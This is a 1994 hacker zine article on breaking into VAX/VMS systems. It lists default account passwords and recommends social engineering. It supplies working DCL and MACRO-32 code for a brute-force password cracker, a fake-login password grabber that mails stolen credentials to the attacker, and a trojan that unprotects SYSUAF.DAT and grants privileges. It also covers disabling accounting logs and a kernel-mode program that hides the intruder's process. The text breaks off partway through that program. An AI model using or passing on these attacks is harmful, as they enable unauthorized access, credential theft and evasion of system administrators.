Copy Link
Add to Bookmark
Report
Xenon Foundation 07
__
\ / |_
/ \ e n o n | o u n d a t i o n
presents:
\ /
*------ the \ /
/ \ files ------*
/ \
January/1994 Issue: 7
/ =-=-==-=-==-=-==-=-==-=-==-=-==-===-=-==-= \
| |
\ -- Hacking VAX/VMS Systems -- /
| |
\ Written by: /
| |
\ Loxsmith /
| |
\ =-=-==-=-==-=-==-=-==-=-==-=-==-===-=-==-= /
I. Introduction
The VMS operating system used on Digital's VAX computers rivals UNIX
in power and versatility. The VMS operating system is very easy to learn
compared to some flavors of UNIX, and has a more sophisticated file security
system than UNIX. However, although the VMS operating system is, in my
opinion, one of the greatest operating systems available, its popularity is
rapidly declining. From the outside, VMS can be one of the toughest
operating systems to break into, or it can be relatively easy. This all
depends on how smart the system administrator is. Internally, VMS has many
holes, but none that can allow a normal user to become a privileged user.
The operating system is virtually impossible to crack, and even with the use
of assembly language and kernel programming, you cannot get underneath the
operating system level.
II. Getting an Account
If you have ever come up with a scan for a VAX, you probably have
realized that it is VERY difficult to get in from the outside. (Note: A
VAX/VMS System is usually characterized by the "Username:" and "Password:"
prompts.) This is so for two reasons: 1) VMS does not inform you if the
account you are hacking exists or not and 2) Usually you get only three tries
before you are terminated. If you do not already have an account on the
system, things can get really tough. What I suggest doing is to try using the
following list of common and default username and password combinations.
Although, this will only work about 2% of the time with VMS V4.7 or above
and 10% of the time with earlier versions, it may be the only shot that you
have. The accounts are listed from most powerful to least powerful.
Default and VERY Common Usernames and Passwords
Name Password Access
------------------------------------------------------------------------------
SYSTEM SYSTEM, MANAGER or OPERATOR (All privs.)
FIELD FIELD, SERVICE, or DIGITAL (All privs.)
SUPPORT SUPPORT or DEC (All privs.)
SYSMAINT SYSLIB or SYSMAINT (Usually all privs.)
SYSTEST UETP or SYSTEST (All privs.)
SYSTEST_CLIG CLIG, SYSTEST, or TEST (Usually a disabled user)
DEFAULT USER or DEFAULT (Normal User)
DECNET DECNET, NETWORK, or DIGITAL (Normal User)
OPERATIONS OPERATIONS (Normal User)
USER USER (Normal User)
LIBRARY LIBRARY or None (Normal User)
GUEST GUEST or None (Normal User)
DEMO None (Normal User)
HYTELNET None (NETMBX)
Common Usernames (note: try using the actual username as a password on these)
VAX VMS DCL DEC TEST
NETNONPRIV NETPRIV ORACLE ALLIN1 INGRES
GAMES BACKUP HOST DIGITAL AUDITLOG
REMOTE SAS FAULT USERP VISITOR
GEAC VLSI INFO POSTMASTER NET
NETWORK OPERATOR OPER MMPONY PLUTO
If all of the defaults fail, you don't have too much of a choice as
to what to do next. If the system you are hacking is on an IP network such
as the Internet, then you may want to finger the site, and get the names of
users, and try to hack accounts with their first name, last name, common
passwords, site name, and account name. You may also try to social engineer
yourself onto the system by bullshitting an employee or student of the
business or school which owns the system into believing that you are a
security manager taking a password survey. You may also want to trash the
site for info. Any way you get in, you must get in. This file will be
useless to you if you do not have access to a system.
III. The VMS Operating System Environment
VAX/VMS uses a command shell called DCL. DCL is an acronym for Digital
Command Language. It is the fundamental batch language of VMS. DCL can be
referred to as a batch language because it resembles closely the batch
language that MS-DOS uses for AUTOEXEC.BAT and other files. However, DCL is
much more powerful, and has much more commands, but it basically works the
same way. One difference is that when you want to execute a command within a
DCL program, it must be preceded by a "$". DCL programs usually have the
file extension of .COM and can be executed by preceding the filename with the
"@" symbol. Some of the more popular commands that can be executed at the
DCL command prompt or within a DCL program are listed below: (these commands
have further parameters and qualifiers that you can specify. These commands
and qualifiers can be learned by browsing through a DCL manual or the online
HELP.)
@: Execute DCL .COM program. When you want to run any DCL batch file, you will
include this "@" before the filename.
Example: to execute a DCL program called LOGIN.COM, you would type:
$ @login
ACCOUNTING: Allows you to view and edit system accounting data that keeps
track of what system time you have racked up.
ANALYZE: Lets you view the contents of OBJ files in HEX/ASCII format.
ANALYZE/SYSTEM: Invokes the SDA. Allows you to view other running processes,
their type-ahead buffers etc.
APPEND: Appends the contents of file1 to file2.
ATTACH: Allows you to attach yourself to one of your subprocesses. For
example, if you spawned out a process LOXSMITH_1 from LOXSMITH and
you wanted to become LOXSMITH_1, you would type ATTACH LOXSMITH_1.
CLOSE: Closes a file that was opened for input/output via OPEN.
CONTINUE: Continue a process or the execution of an image or command language
file that you have aborted with control-Y or cancel.
COPY: Copy file1 to file2. You can specify full pathnames, with device and
subdirectory. If you want to copy it to your home directory just use
sys$login as your 'TO' file. Example: to copy HACKUNIX.DOC from
[LOXSMITH] to [DATA], type:
$ copy [loxsmith]hackunix.doc [data]
CREATE: This will create a file a text file of any type. It has no editing
functions and is used best when uploading ASCII files from your system
to the VAX system. Example: to create a text file called CRIME.TXT,
you would type:
$ create crime.txt
Hacking is computer crime.
[Control-Z]
CREATE/DIRECTORY: CREATE can also be used with the switch, /DIRECTORY, to
make a subdirectory. Example: to create a subdirectory
called hackstuf, you would type:
$ create/directory [.hackstuf]
DELETE: This will delete a file or a directory. Remember always to specify a
version number when deleting a file. Example: to delete a file
called TAP-01.TXT, type:
$ delete tap-01.txt;*
To delete a subdirectory called RULES, type:
$ delete/log [.rules]*.*;*
$ set protection = o:d rules.dir
$ delete rules.dir;1
DELETE/INTRUSION_RECORD: Deletes record of failed password attempts.
DIFFERENCES: Compares two files and notifies you of their differences.
DIRECTORY: This will show you a listing of all files in a specified directory.
Example: to show all files in the current directory, type:
$ directory
To show all files in the HACKSTUF subdirectory, type:
$ directory [.hackstuf]
DIRECTORY can also be used with a number of switches. The most
popular one being /FULL. This shows complete security information
on a file. Example: to get information on a file called
HACKUNIX.DOC in your directory, type:
$ directory/full hackunix.doc
DUMP: Get a hex/ASCII dump on a specified file.
EDIT: This command will bring up the editor. The editor will create standard
ASCII text files. How to use the editor varies from system to system,
but generally, it should resemble the DOS editor. On older versions of
VMS, it may be closer to DOS's EDLIN. Example: to edit the pre-existing
file, hackunix.doc, type:
$ edit hackunix.doc
EDIT/EDT: Invokes the VAX EDT interactive text editor. (VT100 Emulation)
EXAMINE: View the contents of virtual memory.
HELP: This command will bring up the HELP program. The VAX/VMS help facility
is extensive to say the least, and I learned most of what I know from it.
Example: to get help on the command, DELETE, type:
$ help delete
LINK: Link object files into EXE files that you can run. Works on .OBJ files
only.
LOGOUT: Logs you out of your current process.
MAIL: Executes the VAX/VMS E-Mail facility. It is used to send mail to other
others users and to read mail from other users. Example: to mail a
file called HACKUNIX.DOC to a user named SANCHEZ, type:
$ mail hackunix.doc sanchez
PHONE: Used to page another user or answer a page. Conversations are terminated
by pressing [Control-Z]. Example: to page a user named COLIVEIRA, type:
$ phone coliveira
To answer a page, type:
$ phone answer
RENAME: Rename a file or directory.
RUN: Executes image files. (runs files with the .EXE extension) Example: to
run PASSWORD_HACKER.EXE, type:
$ run password_hacker.exe
SET/SHOW ACCOUNTING: Show or set the current security bells enabled.
SET/SHOW AUDIT: Show auditing. Auditing is different than security bells.
SET CONTROL: Disables/enables interrupts via ctrl-Y/ctrl-C.
SET/SHOW DEFAULT: Set or show directory path and device (disk drive)
Example: to change directory to GAMES on disk DUA0:,
you would type:
$ set default dua0:[games]
To change to a subdirectory of the directory you are in
called BBS, you would type:
$ set default dua0:[.bbs]
To show your current directory and device, you would type:
$ show default
SET HOST: Allows you to connect to another mainframe on the VAXCluster. For
example, if SHOW NETWORK reveals that you are on a VAXCluster with
two other machines, MDCS1 and MDCS2, you could log yourself onto
MDCS1 by typing:
$ set host mdcs1
SHOW INTRUSION: View the contents of the breakin database.
SHOW LOGICAL: Show current logical name assignments. Useful for finding out
where information is stored on the system.
SHOW NETWORK: Lists all the available nodes that you can connect to with the
SET HOST command.
SET PASSWORD: Change the password of your account.
SET/SHOW PROCESS: Change the characteristics of your process. This will
display your username, and other information such as
protection, quota, date, time, and system.
SET/SHOW PROCESS/PRIV: Shows or sets the privileges your process has enabled.
For example, to grant yourself all privs, you would
use the following command:
$ set process/priv=all
Keep in mind that you must have the SETPRV privilege
to grant yourself ALL privileges.
SET PROMPT: Change the appearance of your prompt ($).
SET/SHOW PROTECTION: One of the most frequent uses of the SET command is
to change the protection attributes of a file or a
directory. These protections, UIC protections, can
be put on any file or directory that you have WRITE
and EXECUTE privileges to. This command is very
powerful because it both restricts and allows users
to read, write, execute, and delete your files or
directories. Example: to make TEST.EXE so that all you
can do is execute it, you would type:
$ set protection = o:e test.exe
To make TEST.EXE so that it can be deleted, read, and
written to also, type:
$ set protection = o:rwed test.exe
RWED means that you can *R*ead, *W*rite, *E*xecute, and
*D*elete the program. The "o:" stood for *O*wner. UIC
file protection can be implemented on any of the following:
WORLD - Any user on the system.
GROUP - Any user in your group.
OWNER - Only your account or matching UIC.
SYSTEM - System manager(s).
SHOW SYSTEM: Shows all interactive and non-interactive processes on the system,
and their status. For continuous information, use MONITOR PROC/ALL.
SET/SHOW TERMINAL: Change or display your terminal characteristics.
SHOW USERS - Gives you a listing of users online. To show all users online
and their ID's and terminals, type:
$ show users/full
A listing such as the following should appear:
VAX/VMS 5.4 users 23-JUL-1986 09:37:15.54
Total number of users = 4, Total number of processes = 5
Username Process Name PID Terminal
SYSTEM SYSTEM 0000012A TTB0:
S14859JD S14859JD 00000E12 TTC5:
S34123AL S34123AL 0000020C TTC0:
S34123AL S34123AL_1 (subprocess of 0000020C)
HACKED ACCOUNT 0000026A TTC3:
SPAWN: Spawn a subprocess. Useful for multitasking. For example, if you
wanted to run a program called HACKER in the background, and you
wanted all of the output to go to a printer called OPA0:, you would
type:
$ spawn/nowait/output=OPA0: run hacker
SUBMIT: Basically, the same as SPAWN. However, SUBMIT can only run COM files
in the background. The usefullness of SUBMIT is that even after you
log out of your account, the job you submitted will continue until
either you or a system administrator stops it. Perfect for on-site
brute force hacking. To submit a file to queue BA0: named HACK.COM,]
you would use:
$ submit hack /queue=ba0:
STOP: Kill off a subprocess. For example, if you had all privileges, and you
wanted to kill a system administrator using the account SYSTEM, with
the process name of "SYSTEM", you would type:
$ stop system
TYPE: View an ASCII file. Example: to list the contents of HACKUNIX.DOC,
type:
$ type hackunix.doc
To view the contents of a file, with a pause between pages, type:
$ type hackunix.doc /page
A brief section on control sequences... Several different actions can be
activated via control sequences. They are:
CTRL-H: Delete last character
CTRL-B: Redisplay last command (can go back up to the last 20 commands issued)
CTRL-S: Pause display
CTRL-Q: Continue after pause
CTRL-Z: *EXIT* use to break out of things such as CREATE and EDIT
CTRL-C: *CANCEL* will exit out of most operations
CTRL-Y: *INTERRUPT* will break out of whatever you are doing
CTRL-T: Print out statistical info about the process
Sometimes upon login, the CTRL-Y, CTRL-C keys are disabled. To ensure these
are enabled, issue this command upon login:
$ set control = (t,y)
The directory structure of VMS is similar to MS-DOS and UNIX. It is an
easy concept to grasp, so my review of it shall be brief and concise. Each
disk drive on the system is given a device name, much like a printer. Often
times the device names vary from system to system, however for this text, I
will use the most common (and default) drive name, DUA0:. DUA0: can also be
known as SYS$SYSDEVICE:, and many other names through the use of VMS logicals.
However, this is unimportant and should only be considered when you are
searching all the drives on a system for a certain file. Within each drive
there is a root directory. This is the highest directory in the directory
tree and is referenced by [000000]. Within the root there are several
subdirectories. Within these subdirectories there may be files and even
further subdirectories. The concept is quite simple, but can be difficult to
explain. Here is a diagram to give you a rough idea of how it is set up:
[000000] <--root directory
!
!
+--------------------------+---------------------------------+
! ! !
! ! !
[d1] [d2] [d3]
! ! !
+-----+--------+ +-----+-----+ +--------+
! ! ! ! ! ! !
! ! ! ! ! [d3.d3a] [d3.d3b]
[d1.da] [d1.db] [d1.dc] [d2.d2a] [d2.d2b]
! ! !
! ! +--+-----------+
[d1.db.db1] [d2.d2a.d2a1] ! !
[d2.d2b.d2b1] [d2.d2b.d2b2]
Note that to switch directories, you may use the SET DEFAULT command. For
example, if you are in the root directory, and if you wanted to access the
[d1.db.db1] directory, you would type:
$ set default [d1.db.db1]
Within each subdirectory there will be other files also. For example to see
the directory after you log in you would type:
$ directory
this may result in something similar to the following:
Directory SYS$SYSDEVICE:[COTE.DATA]
LOGIN.COM;1 MAIL.MAI;1 VIEW.BAS;1 VIEW.BAS;2
VIEW.EXE;2 VIEW.OBJ;1
Total 6 files.
The first line tells you what drive and subdirectory you are in. The next
lines are the actual files. Each file has a 3 character extension, followed by
a comma and a number. The name before the period is the actual filename; the
3 characters after the period is known as the extension; and the number after
the comma refers to the version of the file.
Some of the more important extensions are:
Type Description
EXE Executable IMAGE. These files are programs that can be RUN.
COM DCL SCRIPT files. These can also be executed, utilizing the @
command.
DAT DATA file. Sometimes useful things to look at. Most of the time
will be unreadable thanks to control characters.
MAI Mail file, use the MAIL command to read these.
DIR DIRECTORY - not a file.
JOU Journal File, often created thru the use of other programs. These
files are usually empty and worthless.
TXT Text files, often hold useful information.
To get a listing of all the files on the whole drive, you would use this:
$ set default [000000]
$ directory [...]*.*
Similarly you type dir [...]*.com, if you wanted just the COM files listed.
To see the contents of a file, you can use the TYPE command. For example:
$ type login.com
you may see something similar to this:
$ ! This is my LOGIN.COM file
$ set control = (t,y)
$ esc[0,7] == %d27
$ wr :== write sys$output
$ wr esc,"[H",esc,"[J"
$ wr "Enter at your own risk..."
$ wr " "
$ set prompt = ":-) "
$ exit
Many times I have found user/passwords lying around in TXT, COM, and MAI files
left by some careless user.
IV. Getting a Higher Privileged Account if you Have a Normal One
A normal user usually has the default privileges which are NETMBX
and TMPMBX. Privileges restrict various operations to those users who have
the privileges associated with the operations. The following table lists the
privileges and the operations they permit.
+-----------+----------------------------------------------+
| Privilege | Operations Permitted |
+-----------+----------------------------------------------+
+-----------+----------------------------------------------+
| ACNT | Create a process or subprocess with |
| | accounting disabled (RUN command and |
| | SYS$CREPRC system service) |
+-----------+----------------------------------------------+
| ALLSPOOL | Allocate a spooled device (ALLOCATE command |
| | and SYS$ALLOC system service) |
+-----------+----------------------------------------------+
| ALTPRI | Increase base priority and create processes |
| | with higher priorities (SYS$SETPRI and |
| | SYS$CREPRC system services) |
+-----------+----------------------------------------------+
| BUGCHK | Make BUGCHK error log entries |
+-----------+----------------------------------------------+
| BYPASS | Access all files bypassing file protection |
+-----------+----------------------------------------------+
| CMEXEC | Change mode to executive (SYS$CMEXEC system |
| | service) |
+-----------+----------------------------------------------+
| CMKRNL | Change mode to kernel (SYS$CMKRNL system |
| | service) |
+-----------+----------------------------------------------+
| DETACH | Create a detached process (SYS$CREPRC system |
| | service) |
+-----------+----------------------------------------------+
| DIAGNOSE | Run online diagnostic programs and read |
| | messages written to the error log file |
+-----------+----------------------------------------------+
| EXQUOTA | Exceed disk quotas |
+-----------+----------------------------------------------+
| GROUP | Affect other processes in the same group |
| | (SET QUEUE, DELETE/ENTRY, STOP/ENTRY, and |
| | SET PROCESS commands; SYS$SUSPND, |
| | SYS$RESUME, SYS$DELPRC, SYS$SETPRI, |
| | SYS$WAKE, SYS$SCHDWK, SYS$CANWAK, |
| | SYS$FORCEX, and SYS$GETJPI system |
| | services) |
+-----------+----------------------------------------------+
| GRPNAM | Create and delete group logical names |
| | (DEFINE, DEASSIGN, and MOUNT commands; |
| | SYS$CRELOG and SYS$DELLOG system services) |
+-----------+----------------------------------------------+
| GRPPRV | Access protected files and other objects |
| | within the same group as a system user, and |
| | change the protection on files and other |
| | objects within the same group |
+-----------+----------------------------------------------+
| LOG_IO | Perform logical I/O operations (SYS$QIO |
| | system service) |
+-----------+----------------------------------------------+
| MOUNT | Mount volumes (SYS$QIO system service) |
+-----------+----------------------------------------------+
| NETMBX | Perform DECnet operations |
+-----------+----------------------------------------------+
| OPER | Set devices spooled, control queues, control |
| | public volumes, broadcast messages, and |
| | perform other system-wide operations |
+-----------+----------------------------------------------+
| PFNMAP | Map to physical memory and I/O registers |
+-----------+----------------------------------------------+
| PHY_IO | Perform physical I/O operations (SYS$QIO |
| | system service) |
+-----------+----------------------------------------------+
| PRMCEB | Create and delete permanent common event |
| | flag clusters (SYS$ASCEFC and SYS$DLCEFC |
| | system services) |
+-----------+----------------------------------------------+
| PRMGBL | Create global sections (SYS$CRMPSC system |
| | service) and install global sections (also |
| | requires CMKRNL and SYSGBL privileges) |
+-----------+----------------------------------------------+
| PRMMBX | Create and delete permanent mailboxes |
| | (SYS$CREMBX and SYS$DELMBX system |
| | services) |
+-----------+----------------------------------------------+
| PSWAPM | Disable and enable swapping (RUN command; |
| | SYS$CREPRC and SYS$SETSWM system services) |
+-----------+----------------------------------------------+
| READALL | Allow read and control access to all objects |
+-----------+----------------------------------------------+
| SECURITY | Perform security-related activities such as |
| | enabling or disabling security audits and |
| | setting the system password |
+-----------+----------------------------------------------+
| SETPRV | Give higher privileges to other processes |
+-----------+----------------------------------------------+
| SHARE | Assign a channel to a device even if the |
| | channel is allocated to another device |
+-----------+----------------------------------------------+
| SHMEM | Create global sections and mailboxes in |
| | multiport memory (also requires the |
| | appropriate PRMGBL, PRMMBX, SYSGBL, and |
| | TMPMBX privileges) |
+-----------+----------------------------------------------+
| SYSGBL | Create system global sections (SYS$CRMPSC) |
| | and install known images (also requires |
| | CMKRNL and PRMGBL privileges) |
+-----------+----------------------------------------------+
| SYSLCK | Lock system-wide resources (SYS$ENQ system |
| | service) |
+-----------+----------------------------------------------+
| SYSNAM | Create and delete system logical names |
| | (DEFINE, DEASSIGN, and MOUNT commands; |
| | SYS$CRELOG and SYS$DELLOG system services) |
+-----------+----------------------------------------------+
| SYSPRV | Access protected files and other objects as |
| | a system user, and change the protection on |
| | files and other objects |
+-----------+----------------------------------------------+
| TMPMBX | Create temporary mailboxes (SYS$CREMBX |
| | system service) |
+-----------+----------------------------------------------+
| VOLPRO | Initialize a volume with a different UIC, |
| | override an expiration date, mount a volume |
| | foreign, and override volume protection |
| | (affecting system volumes also requires |
| | SYSNAM privilege) |
+-----------+----------------------------------------------+
| WORLD | Affect all other processes (SET QUEUE, |
| | DELETE/ENTRY, STOP/ENTRY, and SET PROCESS |
| | commands; SYS$SUSPND, SYS$RESUME, |
| | SYS$DELPRC, SYS$SETPRI, SYS$WAKE, |
| | SYS$SCHDWK, SYS$CANWAK, SYS$FORCEX, and |
| | SYS$GETJPI system services) |
+-----------+----------------------------------------------+
Once you are inside the system, there really is no way to directly
pull files off of the disk drive and change user information unless you have
an account with high access. A high access account is an account with one,
some, or all of the following privileges: SYSPRV, BYPASS, SETPRV, and/or
SECURITY. If you already have an account such as this, I suggest you skip
this section. If you don't, hang in there, because in no time you should have
system administrator access.
The first thing you should do is get a list of all of the accounts on
the system. This is useful because you can spot unpassworded accounts that
you may be able to spawn out from and you can also spot accounts that have
not yet been used and are recently created. The default passwords for such
accounts are USER, NEWUSER, and the actual account name. To get a list of
all of the accounts on the system, type the following from DCL:
$ type sys$system:rightslist.dat
You should either capture or download this file. There will be a lot of random
characters mixed in, but the account names are easily readable. This is very
useful. Basically, find out which ones are not being used. For example, some
system administrators may create 30 accounts for a FORTRAN class, and he may
name the accounts FORTRAN1-FORTRAN30. Now let's say that only 21 people sign
up for the course. That means FORTRAN22-FORTRAN30 are free for you to take
with the aforementioned passwords, USER or NEWUSER. I would also try the actual
username for a password. (ex: Username: FORTRAN22, Password: FORTRAN22) I have
actually encountered a few accounts like this with privileges. It depends on
how stupid the people that you are dealing with are. The more accounts that
you are able to acquire, the better chance you will have at surviving on the
system. So, try to grab as many as you possibly can, even if they are not
high privileged.
One of the sloppiest, but effective ways, to hack is brute force
password hacking. Brute force hacking is simple. It basically means to plug
in random passwords into someone's account until you finally hit. A simple
brute-force password hacker can be made on your home computer. All you have
to do is construct a program that dials up your target and reads words
sequentially out of dictionary and plugs them into the usernames. This can
be a long, hard process, but it works. A simpler brute force hacker could
be created with VMS's batch language, DCL. You could submit the hacker into
the batch queue and not have to worry about it hindering your personal
hacking time. The code to a simple hacker follows:
$!Brute force password hacker by Loxsmith
$ open/read io1 dictionary.txt
$ again:
$ open/write io2 hack.com
$ write io2 "$ SET HOST 0"
$ write io2 'P1'
$ read io1 pass
$ write io2 pass
$ write io2 'P1'
$ read io1 pass
$ write io2 pass
$ write io2 'P1'
$ read io1 pass
$ write io2 pass
$ close io2
$ @hack
$ goto again
This program will open up a file called dictionary.txt (providing that it
is in your current directory) and read in passwords one line at a time while
plugging them in under a specified username. For example, (assuming the
name of this program is hacker.com) if you wanted to hack the account SYSTEM
with the dictionary in your account, you would type:
$ submit hacker system /queue=ba0:
Another way to hack within the system is issuing the following command:
$ dir <node>"<username> <password>"::
If the password is wrong, DCL will report a user authorization error. If the
password is correct, DCL will complain about an ACP protection error. Either
way, your attempt is not recorded by VMS unless the system you are working
on has excellent auditing, and the administrator constantly watches the logs.
A better way than brute force hacking is a password grabber. A password
grabber does precisely what it says, it grabs passwords. When you log off, the
password grabber will sit there and pretend to be the login sequence (Username
and Password prompts), but it really will record the username and the password
entered into a file in your account and give the unfortunate user a "User
Authorization Failure" error message. This is a very effective way of snatching
passwords, but also is very dangerous. The following listing is a short password
grabber for VAX/VMS. It is written in DCL, so even the absolute beginner
should understand how it works.
$!VAX/VMS Password Grabber by Loxsmith
$!Name it QUIT.COM
$ wr :== write sys$output
$ time = f$time()
$!Replace <username> with your username.
$ wr "<username> logged off at ",time
$ set term/nobroadcast
$ set noon
$ set nocontrol = (t,y)
$!Edit the following message to whatever welcome message your target system has.
$ wr " Welcome to VAX/VMS 5.5"
$ wr " "
$ ak:
$ inquire uname "Username"
$ if uname .eqs. "" then goto ak
$ set term/noecho
$ inquire pass "Password"
$ set term/echo
$ open/write pw_file pass.txt
$ write pw_file "Username: ",uname
$ write pw_file "Password: ",pass
$ close pw_file
$ wr "User Authorization Failure"
$ stop "''f$process()
Replace <username> in line 5 with the account that you are currently
inhabiting. Now, one more change is necessary. You must edit the LOGIN.COM
file. (I will assume that you are not running the password grabber out of
your own account. If you do, only do it once, and that is to get another
account to run it out of.) If the person doesn't already have a LOGIN.COM file, don't sweat
it, you will just make a new one. Regardless of if you do this or not, the
last two lines of the program should look like this:
$ log :== @quit
$ dir :== dir/exclude = (quit.com, login.com, pass.txt)
Omit the login.com in line 2 if the person already has a LOGIN.COM in their
account.
OK, there you have it. A password grabber. Check the person's account
daily (or your account, depending on who the person is there on-site). The
passwords are stored in a file called PASS.TXT. To look at all passwords
acquired, type the following line:
$ type pass.txt;*
Sooner or later, you should find at least one privileged account in there.
Also, you must repeat this process to every account you can get for the
fastest results. You can quite simply add the following command into your
QUIT.COM file to mail new passwords to your main account as soon as you
get them:
$ mail pass.txt <your account>
Yet another way to gain privileges from inside a VMS is to use kernel
manipulation. Unfortunately to do this, you must already have the CMEXEC
privilege. This is not a very powerful privilege, but very rarely does
a system administrator give it away. After you upload this program or
type it in, use the following commands to activate it:
$ MACRO EXEC <assuming you have saved this file as EXEC.MAR>
$ LINK EXEC,SYS$SYSTEM:STSDEF.STB
$ RUN EXEC
; exec.mar:
.TITLE GET_PRIVS
MASK: .QUAD ^XFFFFFFFFFFFFFFFF
.ENTRY GET_PRIVS, ^M<>
$CMEXEC_S ROUTIN=SETEM
$EXIT_S #1
SETEM: $SETPRV_S PRMFLG=#1, -
ENBFLG=#1, -
PRVADR=MASK
RET
.END GET_PRIVS
One last way to obtain privileges is through the use of a trojan horse. If
you can somehow get a privileged user to run the following program, it would
grant NAME, ALL privileges, and it would unprotect the SYSUAF.DAT and
AUTHORIZE.EXE programs.
$ pre_prvs=f$setprv("setprv")
$ if f$privilege("setprv") then goto do_damage
$ exit
$ do_damage:
$ set prot sys$system:sysuaf.dat/prot=(w:rwed)
$ set prot sys$system:authorize.exe/prot=(w:rwed)
$ pre_prvs=f$setprv(pre_prvs)
$ open/write file sys$scratch:adduaf.tmp
$ write file "$ RUN SYS$SYSTEM:AUTHORIZE"
$ write file "MODIFY NAME/PRIV=SETPRV"
$ close file
$ @sys$scratch:adduaf.tmp/output=sys$scratch:adduaf.dat
$ del sys$scratch:adduaf.*;*
$ exit
V. What to Hack
Once you get on with a higher privileged account, I suggest you take
as many privileges as you can. To accomplish this, type:
$ set process/priv=all
You may get an error saying that you don't have enough privileges to do it.
In this case, go to the trusty password grabber and continuously try to get
an account with higher privileges. If you can't, then you aren't trying
hard enough. I have not encountered a VMS system to this day that I haven't
been able to obtain higher access on if I have a normal account. The next
thing you want to do is be sure that the system is not recording you. To
accomplish this, type:
$ set accounting/disable
Now you should be kept off of the logs. If you feel it is necessary to be
sure, the system log file is sys$manager:accounting.dat. You should
now look to see who else is on with you. To do this, type:
$ show users/full
VAX/VMS 5.4 users 23-JUL-1986 09:37:15.54
Total number of users = 4, Total number of processes = 5
Username Process Name PID Terminal
SYSTEM SYSTEM 0000012A TTB0:
S14859JD S14859JD 00000E12 TTC5:
S15124AL S34123AL 0000020C TTC0:
S15124AL S34123AL_1 (subprocess of 0000020C)
HACKED ACCOUNT 0000026A TTC3:
I suggest that if SYSTEM is on, that you log off immediately and call back
later or use the following MACRO-32 program (INVI.MAR) stolen from Bruce
Ellis. What INVI.MAR does is hide you from SHOW USERS and FINGER. It
accomplishes this by making your process non-interactive and then renaming
your process name to a printer driver. The code follows:
.TITLE Invisible - Stealth and Unstealth mixed together
.IDENT /V02.000/
; Environment:
;
; VAX/VMS native mode, VMS V5.0 or later, resident, kernel mode,
; CMKRNL privilege required.
;
.library "sys$library:lib.mlb" ; Get $nnnDEFs
.link "sys$system:sys.stb"- ; Get offsets
/selective_search
$jibdef ; Job Information Block offsets
$lnmdef ; Logical Name symbol definitions
$pcbdef ; Process Control Block offsets
$psldef ; Processor Status Longword offsets and definitions
$ssdef ; System Status codes
;
; Define structures for storing old process information
;
$DEFINI ISB ; _Invisible_ Storage Block
$DEF ISB$L_UIC .BLKL 1 ; Process User Identification Code
$DEF ISB$B_TERMINAL .BLKL 1 ; Terminal Name length
$DEF ISB$B_JOBTYPE .BLKL 1 ; Job Type (from JIB)
$DEF ISB$L_NAMELEN .BLKL 1 ; Length of process name
$DEF ISB$T_LNAME .BLKB - ; Process name
<PCB$S_LNAME>
$DEF ISB$K_SIZE ; Size of ISB
$DEFEND ISB
;
; $CRELNM and $TRNLNM data structures:
;
lnm_retlen: .blkl 1
lnm_buffer: .blkb isb$k_size
lnm_buflen = . - lnm_buffer
;
; Itemlist for $CRELNM and $TRNLNM:
;
lnm_itmlst:
.word lnm_buflen ; Buffer length
.word lnm$_string ; Item code
.address lnm_buffer ; Buffer address
.address lnm_retlen ; Return length (unused by $CRELNM)
.long 0 ; Terminate item list
;
; Itemlist for $GETJPIW:
;
jpi_itmlst:
.word <pcb$s_lname> ; Buffer length
.word jpi$_prcnam ; Item code
.long - ; Buffer address
<lnm_buffer+isb$t_lname>
.long - ; Return length (used by $SETPRN)
<lnm_buffer+isb$l_namelen>
.long 0 ; Terminate item list
;
prcnam_desc:
.blkl 1 ; Filled later
.long - ; Address of string (inside of ISB)
<lnm_buffer+isb$t_lname>
;
; Parameters to be used by call to $CRELNM and $TRNLNM:
;
lnm_tabnam: .ascid - ; Use process logical name table
"LNM$PROCESS_TABLE"
lnm_lognam: .ascid - ; Use ISB as the logical name
"ISB"
;
; Other assorteds:
;
sysuic: .long ^x00010004 ; New UIC ([1,4])
prcnam: .ascid "SYMBIONT_nnnn" ; New process name
prc_1: .ascid "SYMBIONT_" ; Start of name
prc_2: .ascid "nnnn" ; End of name
count: .long 1 ; Longword count of number (nnnn)
.entry invisible,^m<>
$cmkrnl_s routin=invisible_k ; Do it all in Kernel mode
ret ; and exit
.entry invisible_k,^m<r2,r3,r4,r5,r6>
moval lnm_buffer,r6 ; Get pointer to ISB
bbss #pcb$v_inter,- ; If we are visible, then
pcb$l_sts(r4),- ; Go into Stealth mode
stealth
brw unstealth ; Else go into Unstealth
stealth:
bicl #pcb$m_inter,pcb$l_sts(r4) ; Clear the interactive bit
bisl #pcb$m_noacnt,pcb$l_sts(r4) ; Disable accounting
decw g^sys$gw_ijobcnt ; Decrement job count
movb pcb$t_terminal(r4),- ; Store terminal name length
isb$b_terminal(r6)
clrb pcb$t_terminal(r4) ; Clear the terminal name len
movl pcb$l_jib(r4),r5 ; Get Job Information Block adr
movb jib$b_jobtype(r5),- ; Save job type
isb$b_jobtype(r6)
clrb jib$b_jobtype(r5) ; And clear it
movl pcb$l_uic(r4),- ; Save old UIC
isb$l_uic(r6)
movl sysuic,pcb$l_uic(r4) ; And set system uic
$getjpiw_s itmlst=jpi_itmlst ; Get process name
$crelnm_s tabnam=lnm_tabnam,- ; Store ISB
lognam=lnm_lognam,-
acmode=#psl$c_exec,-
itmlst=lnm_itmlst
;
; Now set a process name of the first unique nnnn for SYMBIONT_nnnn:
;
10$:
pushl #4 ; Dealing with longwords
pushl #4 ; And we want 4 digits
pushal prc_2 ; Put it in here
pushal count ; And get it from here
calls #4,g^ots$cvt_l_tz
blbc r0,20$
incl count ; Just in case this name is in use we ready the next
pushal prc_2 ; Append this
pushal prc_1 ; To this
pushal prcnam ; And put it in here
calls #3,g^str$concat
blbc r0,20$
$setprn_s prcnam=prcnam
cmpl r0,#ss$_duplnam
beql 10$
20$:
ret ; And return to user mode
unstealth:
$trnlnm_s tabnam=lnm_tabnam,- ; Get ISB
lognam=lnm_lognam,-
acmode=#psl$c_exec,-
itmlst=lnm_itmlst
blbc r0,30$
$dellnm_s tabnam=lnm_tabnam,- ; Delete logical name (ISB)
lognam=lnm_lognam,-
acmode=#psl$c_exec
blbc r0,30$
bisl #pcb$m_inter,pcb$l_sts(r4) ; Set the interactive bit
bicl #pcb$m_noacnt,pcb$l_sts(r4) ; Enable accounting
incw g^sys$gw_ijobcnt ; Increment job count
movl isb$l_uic(r6),- ; Restore UIC
pcb$l_uic(r4)
movb isb$b_terminal(r6),- ; Restore terminal name length
pcb$t_terminal(r4)
movl pcb$l_jib(r4),r5
movb isb$b_jobtype(r6),- ; Restore job type
jib$b_jobtype(r5)
movl isb$l_namelen(r6),prcnam_desc ; Fix descriptor length
